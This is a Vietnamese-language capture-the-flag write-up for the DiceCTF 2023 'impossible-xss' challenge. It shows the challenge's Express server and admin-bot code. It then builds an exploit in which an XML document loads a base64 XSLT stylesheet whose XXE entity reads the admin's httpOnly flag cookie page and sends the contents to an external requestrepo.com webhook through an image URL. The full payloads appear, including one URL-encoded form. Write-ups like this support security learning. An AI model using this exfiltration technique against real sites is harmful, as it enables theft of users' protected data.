owned this note
owned this note
Published
Linked with GitHub
# Quick Writeup impossible-xss DiceCTF 2023 - 0 solved
###### tags: `CTF writeup`
Đầu tiên challange cho ta file `app.js` như sau
```javascript
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/', (req, res) => {
// free xss, how hard could it be?
res.end(req.query?.xss ?? 'welcome to impossible-xss');
});
app.get('/flag', (req, res) => {
// flag in admin bot's FLAG cookie
res.end(req.cookies?.FLAG ?? 'dice{fakeflag}');
});
app.listen(8080);
```
Endpoint `/` sẽ render giao diện thông qua param `xss`
Còn endpoint `/flag` sẽ trả về flag nằm trong cookie của admin nếu có, còn nếu truy cập thông thường thì cho ra fake flag
Ta có hoàn toàn có thể tự do xss tại thông qua param `xss` tuy nhiên sẽ không thể lấy được flag bằng cách xss thông thường đó, bởi vì `adminbot.js` có code như sau
```javascript
import flag from './flag.txt'
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
})
}
export default {
name: 'impossible-xss admin bot',
urlRegex: /^https:\/\/impossible-xss.mc.ax\//,
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto('https://impossible-xss.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
// you wish it was that easy
await page.setCookie({
"name": "FLAG",
"value": flag,
"domain": "impossible-xss.mc.ax",
"path": "/",
"httpOnly": true,
"secure": true,
"sameSite": "Strict"
});
await page.setJavaScriptEnabled(false);
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(3000);
}
}
```
adminbot đã tắt Javascript của puppeteer, do đó mọi payload xss sử dụng JS theo cách thông thường đều không có tác dụng
Sau một lúc research thì ta biết là hàm `setJavaScriptEnabled()` thì không thể nào bypass được. Bắt buộc ta phải tìm attack vector khác
Để ý thấy thay vì sử dụng `res.send` thì challange lại dùng `res.end`. Điểm khác biệt của `res.end` là nó sẽ gửi response dưới dạng simple text và không được set `Content-type` header.
Kèm thêm gợi ý từ tác giả như sau:
![](https://i.imgur.com/0d6XFxU.png)
Vậy đã rõ ta sẽ dùng xml thực hiện OOB xxe khiến admin visit `/flag` và trả về flag tại webhook.
Nhưng khi test thì webhook không nhận về response nào.
```
xml=`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://40cti0ar.requestrepo.com"> ]>
<foo>
&xxe;
</foo>`
payload=encodeURIComponent(xml)
```
URL
```
http://localhost:5555/?xss=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%20%20%3C!DOCTYPE%20foo%20%5B%20%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2F40cti0ar.requestrepo.com%22%3E%20%5D%3E%0A%20%20%3Cfoo%3E%0A%09%26xxe%3B%0A%20%20%3C%2Ffoo%3E
```
Quá rõ ràng, vì ứng dụng và adminbot đều không có tính năng xử lý file xml, vậy thì làm sao xxe trong khi xml không được parse ??
Có một cách có thể bypass được, đó là sử dụng XSLT và nhúng nó vào XML bằng ``<?xml-stylesheet>`` processing instruction. Khi làm vậy XSLT sẽ tự động được thực thi để biến đổi XML thành định dạng khác. Lợi dụng hành vi này, thay vì chèn payload vào XML bây giờ ta sẽ chèn payload vào XSLT.
Tóm lại hướng khai thác sẽ là: chèn payload OOB XXE khiến admin visit `/flag` và bắn kết quả đó qua webhook trong XSL, dùng `<?xml-stylesheet>` để nhúng XSL vào XML, khi ấy XSL sẽ tự động được thực thi.
Gen payload:
```
xsl = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://localhost:5555/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/foo">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">http://40cti0ar.requestrepo.com/?&xxe;</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`
xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xsl)}"?>
<foo></foo>`
payload=encodeURIComponent(xml)
```
Kết quả:
![](https://i.imgur.com/9UtegEn.png)
Giờ chỉ cần gửi adminbot để lấy flag
![](https://i.imgur.com/q6MSiKe.png)